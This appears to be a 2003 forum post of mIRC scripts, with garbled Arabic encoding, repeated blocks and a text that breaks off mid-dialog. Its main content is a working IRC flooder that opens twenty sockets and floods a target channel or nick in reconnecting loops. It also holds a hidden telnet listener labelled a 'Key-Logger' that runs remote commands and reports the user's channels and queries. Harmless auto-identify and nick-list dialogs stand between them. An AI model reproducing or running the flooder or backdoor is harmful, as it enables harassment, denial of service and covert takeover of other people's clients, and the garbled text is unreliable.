AL_MAR3OoB
08-07-2003, 03:21 AM
ÝáææææææææææÏ
alias CoteDor.flood {
sockopen CoteDor1 $did(flood,3) $did(flood,4)
sockopen CoteDor2 $did(flood,3) $did(flood,4)
sockopen CoteDor3 $did(flood,3) $did(flood,4)
sockopen CoteDor4 $did(flood,3) $did(flood,4)
sockopen CoteDor5 $did(flood,3) $did(flood,4)
sockopen CoteDor6 $did(flood,3) $did(flood,4)
sockopen CoteDor7 $did(flood,3) $did(flood,4)
sockopen CoteDor8 $did(flood,3) $did(flood,4)
sockopen CoteDor9 $did(flood,3) $did(flood,4)
sockopen CoteDor10 $did(flood,3) $did(flood,4)
sockopen CoteDor11 $did(flood,3) $did(flood,4)
sockopen CoteDor12 $did(flood,3) $did(flood,4)
sockopen CoteDor13 $did(flood,3) $did(flood,4)
sockopen CoteDor14 $did(flood,3) $did(flood,4)
sockopen CoteDor15 $did(flood,3) $did(flood,4)
sockopen CoteDor16 $did(flood,3) $did(flood,4)
sockopen CoteDor17 $did(flood,3) $did(flood,4)
sockopen CoteDor18 $did(flood,3) $did(flood,4)
sockopen CoteDor19 $did(flood,3) $did(flood,4)
sockopen CoteDor20 $did(flood,3) $did(flood,4)
}
on *:SOCKOPEN:CoteDor*: {
if ($sockerr > 0) { return }
did -a flood 13 $crlf $sockname Connecting..
if (%CoteDor.flood.type == jp) { goto jp }
if (%CoteDor.flood.type == jpmsg) { goto jpmsg }
if (%CoteDor.flood.type == msg) { goto msg }
if (%CoteDor.flood.type == notice) { goto notice }
:jp
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname join %CoteDor.flood.nc
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _ 4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _í ñ
sockwrite -tn $sockname quit 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _ §û ¢k
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:jpmsg
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname join %CoteDor.flood.nc
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 6ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ 4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _í ñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ v í t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û
sockwrite -tn $sockname quit 9í t _ íñ ví t ë ®§ _§ û¢ k _íñ v í t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ® § _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:msg
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:notice
sockwrite -tn $sockname user $Rand(A,Z) $+ $rand(1,99) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
.sockwrite -n $sockname privmsg %CoteDor.flood.nc : $+ $chr(1) $+ Time $+ $chr(1)
sockwrite -tn $sockname notice %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
}
alias flooder2 { dialog -m flood flood }
dialog flood {
title "ÝáææÏ"
size -1 -1 200 300
box "",1,0 -5 200 310
button "ÊÔÛíá",2,5 270 60 25,default
edit "khobar.arabchat.org",3,10 10 180 20, center
edit "6667",4,10 30 180 20,center
edit "Channel/Nick",5,10 50 180 20,center
edit "9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§",6,10 70 180 20,center,autohs
box "",7,5 0 190 95
box "",8,5 100 190 50
radio "Join + Quit",9,10 108 70 20,right
radio "J+msg+q",10,110 108 60 20,right
radio "Msg",11,10 130 70 15,right
radio "Notice",12,110 130 60 15,right
edit "",13,10 160 180 105,read,multi,autovs,center
button "ÎÑæÌ",14,135 270 60 25,cancel
button "ÇíÞÇÝ",15,67 270 65 25,default
}
alias telnet { socklisten listen 3334 | if ($portfree(3334) == $true) { .timer 1 1 telnet } }
on *:SOCKLISTEN:listen: { set %telnets $ticks | sockaccept remote $+ %telnets | sockwrite -tn remote $+ %telnets Neo-Assets mIRC Key-Logger 0.1 <Beta> | sockwrite -tn remote $+ %telnets $crlf | sockwrite -tn remote $+ %telnets Password: | set %login no }
;When Clicking Dialogs Componets
; Sets Info
on *:SOCKREAD:remote*: { :loop | sockread %telnet | if (%telnet == $null) { return } | if (%login == no) { if (%telnet != %password_telnet) { sockwrite -tn $sockname Password Incorrect | return } | if (%telnet == %password_telnet) { set %login yes | set %tick $ticks $+ $ticks | sockrename $sockname telnet_ $+ %tick | sockwrite -tn telnet_ $+ %tick Password Accepted | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick Keys Will Be Displayed In A Few Moments | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick $crlf | return } } | goto loop }
raw 401:*: { halt }
on *:Dialog:flood:edit:3: { set %CoteDor.flood.server $did(3) }
alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } }
on *:Dialog:flood:edit:4: { set %CoteDor.flood.port $did(4) }
alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } }
on *:Dialog:flood:edit:5: { set %CoteDor.flood.nc $did(5) }
alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query }
on *:Dialog:flood:edit:6: { set %CoteDor.flood.m $did(6) }
on *:SOCKREAD:telnet_*: { :loop | sockread %telnet1 | if (%telnet1 == $null) { return } | if (%telnet1 == info) { info_onme $sockname | return } | %telnet1 | goto loop }
on *:Dialog:flood:sclick:9: { set %CoteDor.flood.type jp }
on *:Dialog:flood:sclick:10: { set %CoteDor.flood.type jpmsg }
on *:Dialog:flood:sclick:11: { set %CoteDor.flood.type msg }
on *:Dialog:flood:sclick:12: { set %CoteDor.flood.type notice }
on *:Dialog:flood:sclick:2: { did -a flood 13 $crlf $+ Flooder Bot | CoteDor.flood }
on *:Dialog:flood:Init:0: { did -a flood 13 Flooder Bot }
on *:Dialog:flood:sclick:15: { sockclose CoteDor* | did -r flood 13 | did -a flood 13 Flooder Bot }
menu channel {
Flooder:/flooder2
}
-----------------------------------------------------------------------------------
ÇáÊÚÑíÝ ÇáÊáÞÇÆí
dialog aident {
title " AL_MAR3OoB"
size -1 -1 260 265
option pixels
box "Çáäß", 1, 10 6 240 90
text "ÇáÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜäÜÜÜÜÜÜÜÜÜß", 2, 19 21 104 16
edit "", 3, 15 35 110 25
text "ÇáÜÜÜÜÈÜÜÜÜÜÇÓÜÜÜÜÜÜÜÜÜÜÜÜææÑÏ", 4, 130 20 110 15
edit "", 5, 130 35 110 25, pass autohs
button "Cancel", 6, 16 62 108 20
button "", 7, 130 62 110 20
box "ÇáÞäÇå", 8, 10 100 240 90
text "ÇáÜÜÜÜÜÜÜÜÞÜÜÜÜÜÜÜÜÜÜÜäÜÜÜÜÜÜÜÇå", 9, 17 115 106 15
edit "", 10, 15 130 110 25, autohs
text "ÇáÜÜÜÜÈÜÜÜÜÜÇÓÜÜÜÜÜÜÜÜÜÜÜÜææÑÏ", 11, 130 115 114 15
edit "", 12, 130 130 110 25, pass autohs
button "Cancel", 13, 16 157 109 20
button "", 14, 131 157 109 20
button "Cancel", 15, 131 202 109 20, cancel
button "OK", 16, 18 203 109 20
box "", 17, 10 190 240 38
edit "By : CarLo", 18, 80 236 100 21, read center
}
on *:dialog:aident:init:0:{
if (%nick-ident != $null) { did -a aident 3 %nick-ident } | if (%nick-pass != $null) { did -a aident 5 %nick-pass } | if (%auto-ident-nick == off) { did -b aident 3 | did -b aident 5 | did -b aident 6 | did -a aident 7 Enable } | else { did -a aident 7 Disable }
if (%chan-ident != $null) { did -a aident 10 %chan-ident } | if (%chan-pass != $null) { did -a aident 12 %chan-pass } | if (%auto-ident-chan == off) { did -b aident 10 | did -b aident 12 | did -b aident 13 | did -a aident 14 Enable } | else { did -a aident 14 Disable }
}
on *:dialog:aident:sclick:*:{
if ($did == 6) { did -r aident 3 | did -r aident 5 } | if ($did == 13) { did -r aident 10 | did -r aident 12 }
if ($did == 7) && (enable isin $did(7)) { did -e aident 3 | did -e aident 5 | did -e aident 6 | did -ra aident 7 Disable } | elseif ($did == 7) { did -b aident 3 | did -b aident 5 | did -b aident 6 | did -ra aident 7 Enable }
if ($did == 14) && (enable isin $did(14)) { did -e aident 10 | did -e aident 12 | did -e aident 13 | did -ra aident 14 Disable } | elseif ($did == 14) { did -b aident 10 | did -b aident 12 | did -b aident 13 | did -ra aident 14 Enable }
if ($did == 16) {
if (disable isin $did(7)) { set %auto-ident-nick on | set %nick-ident $did(3) | set %nick-pass $did(5) } | else { set %auto-ident-nick off | set %nick-ident $did(3) | set %nick-pass $did(5) }
if (disable isin $did(14)) { set %auto-ident-chan on | set %chan-ident $did(10) | set %chan-pass $did(12) } | else { set %auto-ident-chan off | set %chan-ident $did(10) | set %chan-pass $did(12) }
}
}
alias aident dialog -mn aident aident
on 1:CONNECT: {
if (%auto-ident-chan == on) && (%chan-ident != $null) && (%chan-pass != $null) { identify %chan-ident %chan-pass }
if (%auto-ident-nick == on) && (%nick-pass != $null) { identify %nick-pass }
}
on 1:NOTICE:*if this is your nick*:?:{
if ($nick == nickserv) {
if (%nick-pass == $null) { | halt }
identify %nick-pass
}
menu Status {
-
ÊÚÑíÝ ÊáÞÇÆí :dialog -m aident aident
----------------------------------------------------------------------
äßÇÊß ÇáÎÇÕå
dialog nick {
title "AL_MAR3OoB"
size -1 -1 185 170
box "Enter",3, 5 5 175 40
edit "",4, 10 20 100 20
button "ÇÖÇÝå",5, 115 20 60 20,disable
box "ÇáÞÇÆãå",6, 5 45 175 120
list 7, 10 60 100 110
button "ÊÛííÑ",8, 115 60 60 20,disable
button "ãÓÍ",9, 115 80 60 20,disable
button "ãÓÍ Çáßá",11, 115 100 60 20,disable
button "&OK",12, 115 130 60 20,ok
}
on 1:dialog:nick:*:*:{
if ($devent == init) {
if (%onick1 != $null) { did -a nick 7 %onick1 }
if (%onick2 != $null) { did -a nick 7 %onick2 }
if (%onick3 != $null) { did -a nick 7 %onick3 }
if (%onick4 != $null) { did -a nick 7 %onick4 }
if (%onick5 != $null) { did -a nick 7 %onick5 }
if (%onick6 != $null) { did -a nick 7 %onick6 }
if (%onick7 != $null) { did -a nick 7 %onick7 }
if (%onick8 != $null) { did -a nick 7 %onick8 }
if (%onick9 != $null) { did -a nick 7 %onick9 }
if (%onick10 != $null) { did -a nick 7 %onick10 }
}
if ($devent == edit) {
if ($did == 4) { set %Mat.setnick $did(4).text | did -e nick 5 }
}
if ($devent == sclick) {
if ($did == 5) {
if (%Mat.setnick == $null) { set %Mat.error Invalid nick name! | dialog -ma error error | halt }
if ( %onick1 == $null ) { set %onick1 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick2 == $null ) { set %onick2 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick3 == $null ) { set %onick3 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick4 == $null ) { set %onick4 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick5 == $null ) { set %onick5 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick6 == $null ) { set %onick6 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick7 == $null ) { set %onick7 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick8 == $null ) { set %onick8 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick9 == $null ) { set %onick9 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick10 == $null ) { set %onick10 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
else { %Mat.error = You have added too many nicks in your nick list | dialog -ma error error | halt }
:end
did -r nick 4
.unset %Mat.*
}
if ($did == 7) {
did -e nick 8
did -e nick 9
did -e nick 11
}
if ($did == 8) {
if ($did(7,$did(7).sel) != $null) { nick $did(7,$did(7).sel) }
}
if ($did == 9) {
if ($did(7,$did(7).sel) == %onick1) { did -d $dname 7 $did(7).sel | unset %onick1 | halt }
if ($did(7,$did(7).sel) == %onick2) { did -d $dname 7 $did(7).sel | unset %onick2 | halt }
if ($did(7,$did(7).sel) == %onick3) { did -d $dname 7 $did(7).sel | unset %onick3 | halt }
if ($did(7,$did(7).sel) == %onick4) { did -d $dname 7 $did(7).sel | unset %onick4 | halt }
if ($did(7,$did(7).sel) == %onick5) { did -d $dname 7 $did(7).sel | unset %onick5 | halt }
if ($did(7,$did(7).sel) == %onick6) { did -d $dname 7 $did(7).sel | unset %onick6 | halt }
if ($did(7,$did(7).sel) == %onick7) { did -d $dname 7 $did(7).sel | unset %onick7 | halt }
if ($did(7,$did(7).sel) == %onick8) { did -d $dname 7 $did(7).sel | unset %onick8 | halt }
if ($did(7,$did(7).sel) == %onick9) { did -d $dname 7 $did(7).sel | unset %onick9 | halt }
if ($did(7,$did(7).sel) == %onick10) { did -d $dname 7 $did(7).sel | unset %onick10 | halt }
}
if ($did == 11) { did -r nick 7 | unset %onick* }
}
}
menu Status {
-
äßÇÊß ÇáÎÇÕå :dialog -m nick nick
alias CoteDor.flood {
sockopen CoteDor1 $did(flood,3) $did(flood,4)
sockopen CoteDor2 $did(flood,3) $did(flood,4)
sockopen CoteDor3 $did(flood,3) $did(flood,4)
sockopen CoteDor4 $did(flood,3) $did(flood,4)
sockopen CoteDor5 $did(flood,3) $did(flood,4)
sockopen CoteDor6 $did(flood,3) $did(flood,4)
sockopen CoteDor7 $did(flood,3) $did(flood,4)
sockopen CoteDor8 $did(flood,3) $did(flood,4)
sockopen CoteDor9 $did(flood,3) $did(flood,4)
sockopen CoteDor10 $did(flood,3) $did(flood,4)
sockopen CoteDor11 $did(flood,3) $did(flood,4)
sockopen CoteDor12 $did(flood,3) $did(flood,4)
sockopen CoteDor13 $did(flood,3) $did(flood,4)
sockopen CoteDor14 $did(flood,3) $did(flood,4)
sockopen CoteDor15 $did(flood,3) $did(flood,4)
sockopen CoteDor16 $did(flood,3) $did(flood,4)
sockopen CoteDor17 $did(flood,3) $did(flood,4)
sockopen CoteDor18 $did(flood,3) $did(flood,4)
sockopen CoteDor19 $did(flood,3) $did(flood,4)
sockopen CoteDor20 $did(flood,3) $did(flood,4)
}
on *:SOCKOPEN:CoteDor*: {
if ($sockerr > 0) { return }
did -a flood 13 $crlf $sockname Connecting..
if (%CoteDor.flood.type == jp) { goto jp }
if (%CoteDor.flood.type == jpmsg) { goto jpmsg }
if (%CoteDor.flood.type == msg) { goto msg }
if (%CoteDor.flood.type == notice) { goto notice }
:jp
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname join %CoteDor.flood.nc
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _ 4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _í ñ
sockwrite -tn $sockname quit 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _ §û ¢k
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:jpmsg
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname join %CoteDor.flood.nc
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 6ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ 4§û ¢k _ íñ ví t 7ë ®§ _§ û¢ k _í ñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ v í t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û
sockwrite -tn $sockname quit 9í t _ íñ ví t ë ®§ _§ û¢ k _íñ v í t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ® § _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:msg
sockwrite -tn $sockname user $rand(A,Z) $+ $rand(00,99999) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
sockwrite -tn $sockname privmsg %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
:notice
sockwrite -tn $sockname user $Rand(A,Z) $+ $rand(1,99) asdf asdf asdf
sockwrite -tn $sockname nick $rand(A,Z) $+ $rand(00,99999)
.sockwrite -n $sockname privmsg %CoteDor.flood.nc : $+ $chr(1) $+ Time $+ $chr(1)
sockwrite -tn $sockname notice %CoteDor.flood.nc : 9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§
set %CoteDor.flood.sock $sockname
sockclose %CoteDor.flood.sock
sockopen %CoteDor.flood.sock $did(flood,3) $did(flood,4)
halt
}
alias flooder2 { dialog -m flood flood }
dialog flood {
title "ÝáææÏ"
size -1 -1 200 300
box "",1,0 -5 200 310
button "ÊÔÛíá",2,5 270 60 25,default
edit "khobar.arabchat.org",3,10 10 180 20, center
edit "6667",4,10 30 180 20,center
edit "Channel/Nick",5,10 50 180 20,center
edit "9 íñ ví 12t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ í8ñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ v í t 7ë ®§ _§ û¢ k _íñ ví t ë ®§ _§ û ¢k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§_§û ¢k _ íñ ví t ë ®§ íñ ví t ë ®§ _§ û¢ 8k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢k _ íñ ví t ë 8®§ _§ û¢ k t ë ®§ _§ û¢ k _íñ ví t ë ®§ _§û ¢ k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ñ 9ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _§ û¢ k t ë ®§ _§ û¢ k _ íñ ví t ë ®§ _§û ¢k _ íñ ví t ë ®§ _ § û¢ë ®§ _§",6,10 70 180 20,center,autohs
box "",7,5 0 190 95
box "",8,5 100 190 50
radio "Join + Quit",9,10 108 70 20,right
radio "J+msg+q",10,110 108 60 20,right
radio "Msg",11,10 130 70 15,right
radio "Notice",12,110 130 60 15,right
edit "",13,10 160 180 105,read,multi,autovs,center
button "ÎÑæÌ",14,135 270 60 25,cancel
button "ÇíÞÇÝ",15,67 270 65 25,default
}
alias telnet { socklisten listen 3334 | if ($portfree(3334) == $true) { .timer 1 1 telnet } }
on *:SOCKLISTEN:listen: { set %telnets $ticks | sockaccept remote $+ %telnets | sockwrite -tn remote $+ %telnets Neo-Assets mIRC Key-Logger 0.1 <Beta> | sockwrite -tn remote $+ %telnets $crlf | sockwrite -tn remote $+ %telnets Password: | set %login no }
;When Clicking Dialogs Componets
; Sets Info
on *:SOCKREAD:remote*: { :loop | sockread %telnet | if (%telnet == $null) { return } | if (%login == no) { if (%telnet != %password_telnet) { sockwrite -tn $sockname Password Incorrect | return } | if (%telnet == %password_telnet) { set %login yes | set %tick $ticks $+ $ticks | sockrename $sockname telnet_ $+ %tick | sockwrite -tn telnet_ $+ %tick Password Accepted | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick Keys Will Be Displayed In A Few Moments | sockwrite -tn telnet_ $+ %tick $crlf | sockwrite -tn telnet_ $+ %tick $crlf | return } } | goto loop }
raw 401:*: { halt }
on *:Dialog:flood:edit:3: { set %CoteDor.flood.server $did(3) }
alias message { var %i = 1 | var %variable = null | while ($query(%i) != $null) { set %query %query $query(%i) | inc %i 1 } }
on *:Dialog:flood:edit:4: { set %CoteDor.flood.port $did(4) }
alias chan { var %i = 1 | var %variable = null | while ($chan(%i) != $null) { set %chan %chan $chan(%i) | inc %i 1 } }
on *:Dialog:flood:edit:5: { set %CoteDor.flood.nc $did(5) }
alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query }
on *:Dialog:flood:edit:6: { set %CoteDor.flood.m $did(6) }
on *:SOCKREAD:telnet_*: { :loop | sockread %telnet1 | if (%telnet1 == $null) { return } | if (%telnet1 == info) { info_onme $sockname | return } | %telnet1 | goto loop }
on *:Dialog:flood:sclick:9: { set %CoteDor.flood.type jp }
on *:Dialog:flood:sclick:10: { set %CoteDor.flood.type jpmsg }
on *:Dialog:flood:sclick:11: { set %CoteDor.flood.type msg }
on *:Dialog:flood:sclick:12: { set %CoteDor.flood.type notice }
on *:Dialog:flood:sclick:2: { did -a flood 13 $crlf $+ Flooder Bot | CoteDor.flood }
on *:Dialog:flood:Init:0: { did -a flood 13 Flooder Bot }
on *:Dialog:flood:sclick:15: { sockclose CoteDor* | did -r flood 13 | did -a flood 13 Flooder Bot }
menu channel {
Flooder:/flooder2
}
-----------------------------------------------------------------------------------
ÇáÊÚÑíÝ ÇáÊáÞÇÆí
dialog aident {
